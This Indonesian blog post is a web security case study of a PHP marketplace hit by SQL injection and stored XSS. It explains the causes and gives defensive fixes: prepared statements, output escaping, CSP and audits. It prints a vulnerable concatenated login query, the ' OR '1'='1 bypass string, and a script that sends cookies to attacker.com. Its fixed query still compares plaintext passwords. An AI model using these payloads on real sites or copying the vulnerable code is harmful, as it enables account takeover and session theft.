Pluginify

Masuk Daftar
Home > Blog > Studi Kasus > Studi Kasus Keamanan Web

Studi Kasus Keamanan Web

Studi Kasus Keamanan Web

Keamanan web merupakan aspek krusial dalam pengembangan aplikasi. Insiden keamanan tidak hanya menyebabkan kerugian finansial, tetapi juga merusak reputasi perusahaan dan kepercayaan pengguna. Pada artikel ini, dibahas sebuah studi kasus keamanan web yang nyata dalam konteks pengembangan aplikasi, jenis serangan yang terjadi, analisis penyebab, serta langkah mitigasi teknis yang dapat diterapkan.

1. Latar Belakang Aplikasi

Sebuah platform marketplace lokal berbasis PHP dan MySQL mengalami lonjakan pengguna dan transaksi. Platform ini menyediakan fitur:

  • Registrasi dan login
  • Upload produk
  • Transaksi melalui keranjang belanja
  • Area admin untuk validasi produk

Seiring pertumbuhan aplikasi, kerentanan keamanan muncul dan berhasil dieksploitasi oleh pihak tidak bertanggung jawab.

2. Insiden Keamanan yang Terjadi

Pada kuartal kedua, muncul laporan bahwa beberapa akun pelanggan mengalami perubahan informasi secara tiba-tiba dan beberapa produk palsu terpublish tanpa persetujuan admin.

Setelah dilakukan investigasi, ditemukan dua celah utama:

  1. SQL Injection
  2. Cross Site Scripting (XSS)

Keduanya menyebabkan data dimanipulasi dan token login dicuri.

3. Studi Kasus Serangan

a. Kasus SQL Injection pada Login Form

Pada endpoint login, validasi input tidak dilakukan secara ketat sehingga penyerang dapat menyisipkan payload seperti:

' OR '1'='1

Contoh query sebelum refactor:

$username = $_POST['username'];
$password = $_POST['password'];

$query = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";
$result = mysqli_query($conn, $query);

Ketika input $username diisi payload ' OR '1'='1 maka query menjadi:

SELECT * FROM users WHERE username = '' OR '1'='1' AND password=''

Kondisi ini menghasilkan login tanpa kredensial yang valid.

b. Kasus Stored XSS pada Halaman Produk

User dapat mengunggah deskripsi produk tanpa filtering. Penyerang memanfaatkan fitur ini dengan menulis:

<script>fetch('https://attacker.com/steal?cookie=' + document.cookie)</script>

Ketika admin membuka halaman produk, script berjalan dan mengirim cookie session ke server penyerang. Hasilnya token admin dapat dicuri (session hijacking).

4. Analisis Penyebab

Insiden yang terjadi disebabkan oleh kombinasi faktor berikut:

1. Validasi Input Minim

Tidak ada sanitasi atau escaping pada data dari pengguna.

2. Kurangnya Implementasi Prepared Statement

Semua query disusun secara string concatenation.

3. Output Encoding Tidak Diterapkan

Data yang ditampilkan kembali ke browser tanpa encoding HTML.

4. Tidak Ada CSP (Content Security Policy)

Browser tidak dilengkapi aturan untuk menolak script yang tidak diizinkan.

5. Minimnya Code Review & Penetration Testing

Tidak ada proses audit keamanan rutin.

5. Solusi dan Mitigasi

a. Menggunakan Prepared Statement untuk Mencegah SQL Injection

Perbaikan login menggunakan PDO:

$stmt = $pdo->prepare("SELECT * FROM users WHERE username = :username AND password = :password");
$stmt->execute([
    ':username' => $username,
    ':password' => $password
]);
$user = $stmt->fetch();

Selain lebih aman, struktur ini juga mudah dibaca dan dipelihara.

b. Menerapkan Output Escaping untuk Mencegah XSS

Contoh sanitasi output pada deskripsi produk:

echo htmlspecialchars($product['description'], ENT_QUOTES, 'UTF-8');

Dengan demikian <script> akan dianggap teks, bukan dieksekusi.

c. Implementasi Content Security Policy (CSP)

Tambahkan header:

Content-Security-Policy: default-src 'self';

CSP ini mencegah eksekusi script dari domain luar.

d. Validasi Input pada Server & Client

Validasi minimal mencakup:

  • Regex filtering
  • Whitelisting nilai yang diizinkan
  • Panjang input
  • Tipe data

e. Audit Keamanan Rutin

Audit dapat berupa:

  • Penetration testing internal
  • Code review oleh tim berbeda
  • Automated vulnerability scanning

6. Hasil dan Evaluasi Pasca Mitigasi

Setelah penerapan mitigasi selama satu semester, evaluasi ditemukan hasil sebagai berikut:

AspekSebelumSesudahSQL InjectionRentanTidak terdeteksiXSSMudah dilakukanTersanitasiSession HijackingTinggiSangat rendahDowntimeTidak terencanaTerjadwalUser ConfidenceRendahMeningkat 30%Code MaintainabilityBurukLebih konsisten

Keseluruhan insiden dapat diminimalisir dan tidak ditemukan lagi manipulasi data setelah penutupan celah.

Kesimpulan

Studi kasus ini menunjukkan bahwa keamanan web bukan hanya fungsi firewall atau enkripsi, tetapi kombinasi praktik pengembangan yang tepat, validasi input-output, kebijakan browser, serta audit rutin. Dengan menangani celah seperti SQL Injection dan XSS sejak awal, risiko pencurian data dan penyalahgunaan akun dapat diminimalkan secara signifikan.

Aplikasi modern memerlukan pendekatan keamanan berlapis (defense in depth) untuk memastikan operasional yang berkelanjutan, handal, dan tepercaya.

Pluginify
Pluginify